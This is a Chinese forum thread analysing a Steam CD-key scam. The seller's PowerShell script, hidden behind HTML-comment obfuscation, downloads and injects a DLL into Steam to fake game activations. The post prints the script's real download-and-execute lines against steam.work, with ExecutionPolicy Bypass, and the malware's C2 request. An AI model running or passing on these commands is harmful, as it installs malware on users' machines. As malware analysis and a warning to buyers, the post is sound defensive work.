MicroBlock 发表于 2024-7-30 12:54

关于 steam.work 激活码诈骗脚本的分析

本帖最后由 MicroBlock 于 2024-7-31 00:02 编辑

结论放在前面:如果买 cdkey 买到让你要输入某个脚本再激活的,那别去管他,立刻退货并举报商家!原因就直接贴我写这个就行...

该商家在使用 Steam 注入病毒假入库来进行诈骗,证据:https://www.52pojie.cn/thread-1949495-1-1.html 请立即退款,我将会向消费者协会说明本店情况!

## 正文
刚刚去买了个 cdkey 准备送给朋友,结果一看发货介绍感觉有点不对劲:


啥啊,irm iex 这不是经典的从网络获取脚本并执行的操作吗,怎么领个激活码还要搞这?

我一开始还以为是自动安装加速器,商家还怪好的捏,直到我激活不了,把这脚本拉下来看了看:

好家伙 这玩意整了个极其有欺骗性的东西,因为powershell的多行注释正好是<# #>,正好 HTML 文件的开头是 <!DOCTYPE html> 这鸟人给他改成 <#!DOCTYPE html> 就变成 powershell 的注释了.. 我都差点没看出来..网页还做了 UA 判断和跳转,真是够阴损

那么真实的代码就只剩两行了:
irm steam.work/pwsDwFile/new1 -OutFile x.ps1
powershell.exe -ExecutionPolicy Bypass -File x.ps1;

看得出来,又是下脚本...我们把这玩意也下下来看一眼:

我怎么兑换个激活码你还给我注入上 Steam了!有病啊!
那么我们便不得不好奇一下注入的文件里到底干了啥呢,我们下下来拖进静态分析,但是里面几乎啥都没有,只有两个有意思的地方:
1. 把危险函数 VirtualAlloc 等 伪装成普通函数:

2. 里面有 zlib.inflate (图里打错了)


看上去他是在尝试现场解压某种payload来执行啊!我们直接开一个 Windows Sandbox 来动态调试一下:
打开 x32dbg,在 zlib.inflate处打断点,很容易就拿到解压出的东西

-> 解压出缓冲区指针
-> 解压出数据长度
不看不知道,一看 MZ 开头,PE格式没跑了,直接一个 savefile 把它存下来,拖进 Binary Ninja
这个文件也有点诡异,有三个 .text 段里面两个都是空的,还有一个 XRef 几乎扫不出来...总之先看一眼 IAT:

怎么还引用了一个 winsqlite 啊,看起来像是打算操作 Steam 的数据库?

这里还有一些十足诡异的找不到引用的函数,看上去是加密的字符串

(接前文)
那么自然我们现在应该给导出的仅有的几个函数打一下断点看看;首当其冲怀疑的就是这个网络函数
直接先在该 dll 加载前打断点,暂停后在InternetOpenA打断点;发现有反调试检测,用 ScyllaHide Basic 轻松过掉
然后就断下来了,我们来看一眼

直接找到病毒开始请求配置的地方和端点了,大收获啊;但是我们直接访问 http://api.steam.work/api/integral/vs ,他是返回 403 Unauthorized 的,看来可能有什么 UA,POST body之类的,继续下断点查一下
在InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA,成功还原整个请求:

HTTP1.1 POST http://api.steam.work/api/integral/vs
Referer: version
user-agent: steam
{"sign":"ckv"}




返回值拿到手,只有一串不知道是什么的 hex;我们先再看看其他几个点
sqlite这边下断点以后啥也没有,可能是激活的时候才会操作(我用的Windows Sandbox,不知道为什么打不开Steam……)

于是转移到一台实机上继续分析。


直接拿它给的虚假激活码来激活,可以直接断在 HTTP 请求点
把请求掏出来看看:

看起来是成功了,返回一个 code 和一个 data;
这个 ID 又是啥?

哦,哈迪斯的 App ID
那么接着调试,在一通奇奇怪怪的网络请求之后,它下下来一个 8k 的文件到 steam 的目录里
C:\Program Files (x86)\Steam\package\data

这是干啥的呢?看看我们正常的 Steam 这里有什么...居然什么都没有!
那么就说明,这个文件是病毒专用的了;我们直接 ImHex 打开

居然是个数据库!怪不得他要链 winsqlite;那这个数据库里有啥?我们丢进查看器:

有个appid,和两个不认识的hex;把键名拿去搜搜看:


原来是这样!这是一种叫做“清单入库”的已经广为流传的Steam免费入库方式,结果被不法商家用于欺诈消费者,十分恶劣!

还有一些相关信息,大家可以自行查看→ https://github.com/pjy612/SteamManifestCache/discussions/374 https://github.com/pjy612/SteamManifestCache/wiki/DecryptionKey

病毒样本
密码 52pojie


完结撒花~

wangshi12138 发表于 2024-7-30 20:23

原来如此,学到了,怪不得淘宝那些价格贼便宜,太抽象了。

dg69m 发表于 2024-7-30 15:44

感谢分享,我要转发给我孩子,免得玩游戏,胡乱花钱,还上当{:1_889:}

MicroBlock 发表于 2024-7-30 21:47

xdea 发表于 2024-7-30 21:40
厉害了,这种远程脚本系统杀毒软件不会自动拦吗

Windows Defender会自动加入白名单
360他会...让你自己把他关掉...无语

hellx 发表于 2024-7-30 17:00

所以你举报商家是咋写的?没看到那

MicroBlock 发表于 2024-7-30 22:34

zbby 发表于 2024-7-30 22:28
压缩的那个dll是从那个hid文件里解压出来的,看上去这个dll好像加了个压缩壳之类的东西

嗯,我知道

MicroBlock 发表于 2024-7-30 20:22

好好学习多挣钱 发表于 2024-7-30 16:12
它是给steam注入代码,导致steam弹出垃圾广告。
比如这篇新闻:https://baijiahao.baidu.com/s?id=1797118 ...

反正首先是弄了假激活...有没有广告就没关注
(因为都是在虚拟机挂着调试器调的,可能没给他机会弹广告

crapeber 发表于 2024-8-1 23:52

之前分析的时候就被这睿智HTML混淆绕进去了,找不到入口在哪
感觉很多骗子自己都不知道这些,纯倒狗一个

aaking 发表于 2024-7-30 15:17

6666,淘宝上经常有卖这种的,能骗一个是一个

瞧,他哭了。 发表于 2024-7-30 15:25

百度网盘会员的也是经常套路,百度官方有领取几天会员活动的时候,这些js就开始搞事卖号了

好好学习多挣钱 发表于 2024-7-30 16:12

它是给steam注入代码,导致steam弹出垃圾广告。
比如这篇新闻:https://baijiahao.baidu.com/s?id=1797118649311302828

wxai91 发表于 2024-7-30 17:16

虽然看不懂,但感觉很NB

jituidadada 发表于 2024-7-30 17:23

你这个帖子很实用。赞一个

yeyerl 发表于 2024-7-30 17:24

楼主牛啊,这种都被发现了,看来我也要好好学习下

baby7 发表于 2024-7-30 17:37

好好学习多挣钱 发表于 2024-7-30 16:12
它是给steam注入代码,导致steam弹出垃圾广告。
比如这篇新闻:https://baijiahao.baidu.com/s?id=1797118 ...

好家伙,涨知识了,这名字也是真形象
页: [1] 2 3 4 5 6 7 8
查看完整版本: 关于 steam.work 激活码诈骗脚本的分析